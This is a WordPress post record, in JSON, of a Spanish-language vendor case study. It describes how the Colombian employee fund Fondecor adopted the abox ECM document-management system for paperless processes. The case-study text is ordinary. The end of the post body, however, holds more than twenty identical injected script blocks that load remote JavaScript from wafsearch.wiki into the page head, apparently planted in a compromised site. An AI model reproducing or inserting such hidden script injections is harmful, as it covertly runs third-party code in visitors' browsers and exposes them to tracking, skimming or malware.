{"id":1720,"date":"2016-02-09T20:01:07","date_gmt":"2016-02-10T01:01:07","guid":{"rendered":"https:\/\/149.56.148.186\/?p=1720"},"modified":"2026-03-20T04:15:17","modified_gmt":"2026-03-20T09:15:17","slug":"fondecor-inicia-su-oficina-cero-papel-con-abox-ecm","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/fondecor-inicia-su-oficina-cero-papel-con-abox-ecm\/","title":{"rendered":"Fondecor inicia su Oficina Cero Papel con abox ECM"},"content":{"rendered":"<p>El <strong>Fondo de Empleados del Cerrej\u00f3n<\/strong> (Fondecor) fue fundado en <strong>1983<\/strong>. En el a\u00f1o <strong>2005<\/strong>, fue el primer Fondo de Empleados del pa\u00eds en recibir del Icontec la certificaci\u00f3n de calidad ISO 9001:2000.<\/p>\n<p>Actualmente cuenta con m\u00e1s de <strong>4.300 asociados<\/strong>, empleados y exempleados de la empresa <strong>Carbones del Cerrej\u00f3n Limited<\/strong>, ubicada en el municipio de Albania, Departamento de la Guajira.<\/p>\n<p>Fondecor ofrece <strong>servicios de cr\u00e9dito, seguros y dep\u00f3sitos<\/strong> a inter\u00e9s en sus siete oficinas de atenci\u00f3n presentes en Puerto Bol\u00edvar, Riohacha, San Juan, La Mina, Barranquilla, Bogot\u00e1 y Valledupar.<\/p>\n<h2><strong>El Proyecto<\/strong>\u2026.<\/h2>\n<p>FONDECOR es uno de los fondos de empleados m\u00e1s innovadores de Colombia. Desde el a\u00f1o 2012 se viene trabajando en el \u00e1mbito de la gesti\u00f3n documental para reducir progresivamente la carga del papel en los procesos.<\/p>\n<p>El nuevo proyecto iniciado en 2015 tuvo como objetivo la implantaci\u00f3n de un <strong>Sistema de Gesti\u00f3n Electr\u00f3nica de Documentos de Archivo<\/strong> que abarc\u00f3 los siguientes procesos en su primera fase:<\/p>\n<ul>\n<li>Correspondencia<\/li>\n<li>Gesti\u00f3n del expediente \u00fanico del asociado<\/li>\n<li>Gesti\u00f3n de expedientes de servicios\/ productos<\/li>\n<li>Tr\u00e1mite electr\u00f3nico de comprobantes de pago.<\/li>\n<\/ul>\n<h2><strong>La Soluci\u00f3n\u2026.<\/strong><\/h2>\n<p><strong>Abox ECM <\/strong>ha contribuido a hacer realidad la <strong>Oficina Cero Papel<\/strong> y de este modo mejorar la eficiencia y satisfacci\u00f3n de los asociados de Fondecor.<\/p>\n<p>ABOX se puso en marcha con los siguientes <strong>m\u00f3dulos<\/strong>:<\/p>\n<ul>\n<li>M\u00f3dulo de Correspondencia:\n<ul>\n<li>2 ventanillas automatizadas en Barranquilla y La Mina.<\/li>\n<li>Registro de entradas y salidas oficiales.<\/li>\n<li>Digitalizaci\u00f3n y OCR masivo y autom\u00e1tico.<\/li>\n<li>Distribuci\u00f3n electr\u00f3nica a las oficinas.<\/li>\n<li>Planillas de reparto interno y externos.<\/li>\n<li>Reportes de correspondencia.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Gesti\u00f3n de Asociados:\n<ul>\n<li>Flujo del estado del asociado: pendiente, activo, inactivo, suspendido y retirado.<\/li>\n<li>Serie documental del asociado con todos sus documentos esperados.<\/li>\n<li>Carga del hist\u00f3rico de asociados (m\u00e1s de 8.500 registros).<\/li>\n<li>Reportes de asociados.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Productos:\n<ul>\n<li>Expediente de aprobaci\u00f3n de cr\u00e9ditos.<\/li>\n<li>Expediente de aprobaci\u00f3n de servicios.<\/li>\n<li>Expediente de ahorros.<\/li>\n<li>Reporte de ventas.<\/li>\n<\/ul>\n<\/li>\n<li>M\u00f3dulo de Contabilidad:\n<ul>\n<li>Workflow de revisi\u00f3n y aprobaci\u00f3n de comprobantes contables.<\/li>\n<li>Integraci\u00f3n por impresora virtual: Abox Hotprinter.<\/li>\n<li>Vinculaci\u00f3n autom\u00e1tica con los expedientes de asociados.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Se estima en m\u00e1s de 2.000 el n\u00famero de documentos radicados y 10.000 el n\u00famero de transacciones realizadas por mes.<\/p>\n<p>La herramienta emplea a m\u00e1s <strong>30 usuarios activos,<\/strong> y m\u00e1s de <strong>60 usuarios internos de consulta<\/strong>.<\/p>\n<p>La aplicaci\u00f3n emplea un servidor de aplicaci\u00f3n y base de datos, con un motor de Sql Server y un repositorio de archivos, todo ello bajo muy estrictas condiciones de seguridad y rendimiento.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte.jpg\"><img loading=\"lazy\" class=\"size-medium wp-image-1535 alignright\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2015\/10\/persona-atendiendo-expte-300x202.jpg\" alt=\"persona-atendiendo-expte\" width=\"300\" height=\"202\" \/><\/a><\/p>\n<h2><strong>El resultado\u2026.<\/strong><\/h2>\n<p>Ser capaz de integrar en una sola plataforma de tecnolog\u00eda 100% web los procesos m\u00e1s consumidores de papel y m\u00e1s dif\u00edciles de gestionar electr\u00f3nicamente en Fondecor.<\/p>\n<p>Ofrecer un acceso integral y seguro a toda la documentaci\u00f3n de la Cooperativa, radicada en cualquiera de sus sedes, desde un sencillo navegador, sin necesidad de instalar componentes adicionales.<\/p>\n<p>Integraci\u00f3n en tiempo real de todos los procesos de aprobaci\u00f3n, para permitir su control y trazabilidad desde cualquier lugar y cualquier hora.<\/p>\n<p>En consecuencia, se trata de un primer paso muy importante para la transformaci\u00f3n tecnol\u00f3gica del Fondo, reduciendo el uso del papel y gestionando m\u00e1s eficientemente sus procesos.<\/p>\n<p>Los nuevos flujos de trabajo han mejorado la productividad de la empresa y han reducido el uso del papel en la compa\u00f1\u00eda (se ha establecido el objetivo de reducci\u00f3n en un 50% para los primero 18 meses de actividad).<\/p>\n<p>Todo ello ha contribuido a mejorar la percepci\u00f3n del Fondo entre los asociados (p.ej. los documentos que ya se tienen, ya no se piden de nuevo al asociado) y obviamente se han logrado ahorros en costos de transporte y mensajer\u00eda, as\u00ed como la evitaci\u00f3n de errores y necesidad de supervisi\u00f3n f\u00edsica de los procesos.<\/p>\n<h2><strong>La Conclusi\u00f3n\u2026.<\/strong><\/h2>\n<p>Con este proyecto Fondecor logra pasar al mundo electr\u00f3nico los procesos documentales m\u00e1s cr\u00edticos en un tiempo record y con unos resultados funcionales y de usabilidad excelentes.<\/p>\n<p>Las nuevas tecnolog\u00edas empleadas ofrecen al cliente un nuevo marco de trabajo m\u00e1s flexible y usable, que permitir\u00e1n un aumento considerable de competitividad de la organizaci\u00f3n de cara al futuro.<\/p>\n<p>Algunas de las <strong>deficiencias corregidas<\/strong> estaban afectando a los procesos internos de la organizaci\u00f3n y provocaban ineficiencias, \u201cislas\u201d de informaci\u00f3n, desconexi\u00f3n entre dependencias y falta de control.<\/p>\n<ol>\n<li>No se estaban digitalizando la totalidad de los documentos de los distintos procesos. Tampoco se estaba centralizando toda la informaci\u00f3n entrante en un solo punto, accesible ahora v\u00eda web.<\/li>\n<li>Se implement\u00f3 el concepto de <strong>Expediente \u00danico de Asociado<\/strong>, lo que favorece la consulta y la reutilizaci\u00f3n de documentaci\u00f3n disponible.<\/li>\n<\/ol>\n<p>3 No era posible o demasiado dificultoso conocer la situaci\u00f3n de los distintos tr\u00e1mites y conocer los tiempos medios en los que estos se estaban ejecutando.<\/p>\n<ol start=\"4\">\n<li>La consulta de documentos y la obtenci\u00f3n de soportes y comprobantes era demasiado lenta y consum\u00eda muchos recursos internos, que ahora se podr\u00e1n dedicar a tareas m\u00e1s productivas.<\/li>\n<li>Se invert\u00edan excesivos recursos (humanos y t\u00e9cnicos) en mantener un archivo f\u00edsico que con las nuevas tecnolog\u00edas se reducir\u00e1 de forma sustancial, evitando el riesgo de p\u00e9rdida de soportes y\/o respuestas fuera de plazo.<\/li>\n<\/ol>\n<p>Para una siguiente fase de implementaci\u00f3n del Cero Papel se han previsto mejorar otros procesos:<\/p>\n<ul>\n<li>Integraci\u00f3n directa entre los sistemas contables y el gestor documental.<\/li>\n<li>Incorporaci\u00f3n de otros procesos documentales en el repositorio, como procedimientos y registros de Calidad.<\/li>\n<li>Mejora en la gesti\u00f3n electr\u00f3nica del almac\u00e9n documental, pr\u00e9stamos y control de retenciones y disposiciones finales.<\/li>\n<\/ul>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El Fondo de Empleados del Cerrej\u00f3n (Fondecor) fue fundado en 1983. En el a\u00f1o 2005, fue el primer Fondo de Empleados del pa\u00eds en recibir del Icontec la certificaci\u00f3n de calidad ISO 9001:2000. Actualmente cuenta con m\u00e1s de 4.300 asociados, empleados y exempleados de la empresa Carbones del Cerrej\u00f3n Limited, ubicada en el municipio de [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":1535,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[256],"tags":[87],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1720\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=1720"}],"version-history":[{"count":22,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1720\/revisions\/"}],"predecessor-version":[{"id":13810,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/1720\/revisions\/13810\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/1535\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=1720"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=1720"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=1720"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}